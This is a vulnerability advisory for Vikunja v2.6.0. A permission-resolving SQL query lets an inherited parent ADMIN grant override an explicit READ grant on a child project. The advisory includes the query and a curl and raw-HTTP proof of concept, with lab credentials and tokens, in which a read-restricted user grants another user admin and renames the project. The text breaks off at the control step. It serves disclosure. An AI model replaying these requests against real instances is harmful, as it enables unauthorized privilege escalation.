Summary
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Advisory details
Description
Summary
In Vikunja v2.6.0 the project-permission engine resolves a user's effective permission on a project as the MAX over the entire reachable project subtree. As a result, when a user has been granted a higher permission on a parent project and the owner explicitly shares a child project with that same user at a lower permission (an intended down-restriction), the explicit lower grant is silently ignored and the user receives the higher, inherited permission on the child. A user who was deliberately restricted to read-only on a sensitive sub-project can therefore modify it, delete it, and re-share it (including granting other users admin) - none of which the owner intended. This is a behavior regression from v2.5.0, whose engine used "nearest-ancestor-grant-wins" semantics that honored the explicit child grant.
Details
Effective permissions are computed by a single recursive CTE in
pkg/models/project_access.go (getProjectAccessForUser):
WITH RECURSIVE grants (project_id, permission) AS (
SELECT project_id, MAX(permission) FROM (
SELECT id AS project_id, 2 AS permission FROM projects WHERE owner_id = ?
UNION ALL SELECT project_id, permission FROM users_projects WHERE user_id = ?
UNION ALL SELECT tp.project_id, tp.permission FROM team_projects tp
INNER JOIN team_members tm ON tm.team_id = tp.team_id WHERE tm.user_id = ?
) direct_grants GROUP BY project_id
),
tree (id, permission) AS (
SELECT p.id, g.permission FROM projects p INNER JOIN grants g ON g.project_id = p.id
UNION
SELECT p.id, t.permission FROM projects p INNER JOIN tree t ON p.parent_project_id = t.id
)
SELECT id, MAX(permission) AS permission FROM tree GROUP BY id
For a parent P where the user has a direct ADMIN(2) grant and a child C (with
parent_project_id = P) where the user has a direct READ(0) grant, the tree CTE produces the rows
(P,2), (C,0) (direct grants) and (C,2) (the parent grant propagated down the recursion). The
final SELECT id, MAX(permission) ... GROUP BY id collapses the child to MAX(0, 2) = 2 (ADMIN). The
explicit READ grant on C is discarded.
In v2.5.0 the equivalent resolution used ROW_NUMBER() OVER (... ORDER BY priority) (nearest-ancestor
wins), so the child's own direct grant took precedence and the down-restriction was honored. The switch
to MAX(...) in v2.6.0 introduces the override. Code comments in project_access.go describe the
additive behavior as intentional ("a grant on a descendant can raise an inherited permission, never
lower it"), so the maintainers may consider this working-as-intended - but it is a security-relevant
regression that silently defeats an explicit, owner-configured access restriction, so it is reported
here for a decision.
PoC
Target: http://localhost:3456 (Vikunja v2.6.0). Owner: admin. Restricted collaborator: alice
(id 2). Third party used to demonstrate re-sharing: bob. Note Vikunja's v1 REST convention: PUT =
create, POST = update. All values below are the real, unredacted values from the run.
Step 1 - Log in as the owner (admin) and as the restricted collaborator (alice)
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"admin","password":"VikunjaLab123!"}'
curl -s -X POST http://localhost:3456/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"alice","password":"AliceLab123!"}'
Real tokens issued:
admin: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzMsImlkIjoxLCJpc19hZG1pbiI6dHJ1ZSwianRpIjoiODY1ZmNjMDEtMDQ3Zi00NjM2LWI1M2QtNmU1MzliZTRhMDY4Iiwic2lkIjoiYTFhMDQ1YWYtOWMyMC00YmRmLWE2YzQtMjRmN2JkM2QwMDRlIiwidHlwZSI6MSwidXNlcm5hbWUiOiJhZG1pbiJ9.4l8vTEkB_gna717cNLc_tgOI_kUBcZMjKiZH6U8sPAg
alice: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Step 2 - Owner sets up the projects (parent, sensitive child, standalone control)
# parent (id 18)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"title":"FinanceRoot"}'
# child of parent 18 (id 19)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"title":"Q4-Payroll-CONFIDENTIAL","parent_project_id":18}'
# standalone control (id 20)
curl -s -X PUT http://localhost:3456/api/v1/projects -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"title":"ControlStandalone"}'
Result: parent id=18, child id=19 (parent_project_id=18), control id=20.
Step 3 - Owner grants: parent → alice ADMIN(2); child → alice READ(0) (the intended down-restriction); control → alice READ(0)
curl -s -X PUT http://localhost:3456/api/v1/projects/18/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":2}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}' # -> 201
curl -s -X PUT http://localhost:3456/api/v1/projects/20/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer <admin-token>' -d '{"username":"alice","permission":0}' # -> 201
Confirm the recorded child grant is READ(0):
curl -s http://localhost:3456/api/v1/projects/19/users -H 'Authorization: Bearer <admin-token>'
# -> [{"id":..,"username":"alice","permission":0, ...}] (0 = Read only)
Step 4 - THE FINDING: alice (explicit READ on child 19) performs an ADMIN-only operation on it - grant bob ADMIN(2)
curl
curl -sv -X PUT http://localhost:3456/api/v1/projects/19/users -H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU' \
-d '{"username":"bob","permission":2}'
Burp / raw HTTP request
PUT /api/v1/projects/19/users HTTP/1.1
Host: localhost:3456
User-Agent: curl/8.20.0
Accept: */*
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3ODg4MDMzNzQsImlkIjoyLCJpc19hZG1pbiI6ZmFsc2UsImp0aSI6IjhhODI2OWEwLTY0NWEtNDkwNS05NGRkLWI2NzM4NjdlNTEyOSIsInNpZCI6IjY0N2FmYWI5LTM5NjgtNDZiYi1iNTNmLTVmNTFmMDZlNDk1OSIsInR5cGUiOjEsInVzZXJuYW1lIjoiYWxpY2UifQ.cun_kHsKsQ02rizsh4NkcoEfX0iRWlXgtXvZjGrvPcU
Content-Length: 33
{"username":"bob","permission":2}
Raw HTTP response
HTTP/1.1 201 Created
Cache-Control: no-store
Content-Type: application/json
Vary: Origin
X-Request-Id: EbiVasgeMYwKryJMTQnKlnvzCCvDDMJb
Date: Mon, 07 Sep 2026 17:39:34 GMT
Content-Length: 128
{"id":12,"username":"bob","permission":2,"created":"2026-09-07T17:39:34.158776607Z","updated":"2026-09-07T17:39:34.158778081Z"}
alice - restricted to READ on project 19 - successfully granted bob ADMIN(2) on it (a share-management operation that requires project admin). She can equally modify it:
# write op (POST = update); succeeds -> HTTP 200
curl -s -o /dev/null -w '%{http_code}\n' -X POST http://localhost:3456/api/v1/projects/19 \
-H 'Content-Type: application/json' -H 'Authorization: Bearer <alice-token>' \
-d '{"title":"Q4-Payroll-TAMPERED-BY-ALICE"}'
# -> 200
Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op
References
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